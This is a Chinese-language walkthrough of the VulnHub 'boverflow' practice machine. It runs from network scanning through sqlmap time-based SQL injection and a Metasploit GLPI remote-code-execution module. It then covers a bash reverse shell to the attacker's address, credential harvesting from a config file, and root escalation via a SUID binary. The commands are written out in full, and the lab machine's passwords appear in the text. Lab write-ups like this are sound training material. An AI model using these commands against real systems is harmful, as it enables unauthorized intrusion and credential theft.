靶机地址
https://www.vulnhub.com/entry/boverflow-1,572/
靶机描述:
一、确认靶机地址
确认靶机地址为192.168.7.142(攻击机为192.168.7.133)
arp-scan -interface=eth1 --localnet
二、扫描开启的服务
靶机只开启了http和ssh服务,是比较标准的web类getshell
nmap -A 192.168.7.142 -p-
三、网站目录扫描
扫到一半直接断了,只扫出来admin目录,先去网页看看
dirsearch -u http://192.168.7.142
主页跳转到glpi目录,是一个glpi的登录页面
admin目录也是个登录界面,不过要简陋许多,看上去很可能有sql注入漏洞
四、sql注入测试
Burp抓个Post包存到txt,sqlmap开跑,刚开跑又断了
sqlmap -r '/root/Desktop/login.txt' --dbs --batch
回去看了眼靶机描述,果然限制了爆破手段,请求次数过多会被封一分钟ip
没办法,等一分钟加上–delay参数再跑,发现有时间盲注漏洞,发现glpi和basedb库(此处如果不成功可以加上tamper=between来绕过过滤)
sqlmap -r '/root/Desktop/login.txt' --dbs --batch --delay=5
爆glpi库,这个真的是太慢了,有请求次数限制加表名极长且多,挂后台一直跑着吧,去找找其他突破口
sqlmap -r '/root/Desktop/login.txt' -D glpi --tables --batch --tamper=between --delay=5
五、中间件漏洞getshell
查找一下glpi的漏洞,发现有RCE且可通过msf执行
searchsploit glpi
发现有两个poc,第二个时间太久了而且第一个rank是excellent,那就选第一个执行吧
msfconsole
search glpi
拿到webshell
use 0
options
set rhosts 192.168.7.142
set lhost 192.168.7.133
run
shell
六、提权到普通用户
msf的shell不太行,反弹下shell
攻击机:
nc -lvvp 2333
靶机:
/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.7.133/2333 0>&1'
一般从webshell提权到普通用户很大概率是通过敏感信息泄露的方式,常见的敏感文件存放位置包括/var/www下所有文件(重点是带bak、backup、config、database、db的文件),/var/backups和/home下用户文件
此处从当前所处的网站目录一级一级往上查找,果然在/var/www/html下发现可疑目录admin,并在admin目录下的db.php发现数据库用户名和密码
ls -al
cd admin
ls -al
cat db.php
数据库用户名和密码
fox:edfghjkl
连接数据库输完密码直接卡住,感觉是没开交互式的问题
mysql -u fox -p
edfghjkl
重新反弹shell并开启交互式,登录成功
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python3 /tmp/asdf.py
查看下basedb库的数据,passwd表内有fox的密码,一眼md5加密,怀疑这就是fox用户的系统密码
show databses;
use basedb;
show tables;
select * from passwd;
解密后尝试ssh登录,成功(md5解密网站https://www.somd5.com/)
ssh fox@192.168.7.142
moanapozzi
拿到第一个flag
七、普通用户提权到root
用户目录下有一个非常可疑的可执行文件mysudo,且有SUID
ls -al
这种很明显就是提权关键了,看了下发现是gcc编译的文件,结合靶机名boverflow感觉可能是溢出漏洞提权(overflow意为溢出)
执行下试试,发现有三次输入,分别是Command、Username、Password,fox用户没法执行
./mysudo
把它下下来用ida反编译看看,main函数调用了echo函数,echo函数中发现Username和Password的检验值就是username和password
scp -r fox@192.168.7.142:/home/fox/mysudo ./
moanapozzi
尝试后发现成功,执行id返回用户名为root
./mysudo
id
username
password
试试直接sudo -i,发现貌似带了空格就会导致Username和Password一起校验导致没法正常执行
./mysudo
sudo -i
username password
不带空格的直接提权命令,好像还真想不到,但不知道也可以自己写一个
echo '/bin/bash' > sekiyo
chmod 777 sekiyo
执行自己写的命令,直接拿到root权限,flag2到手
./mysudo
./sekiyo
username
password
八、结语
还以为要用溢出,结果也没用到
哦,差点忘了,最后还有个小彩蛋
结果靶机打完了才想起来之前挂后台的sqlmap,一看,还没跑完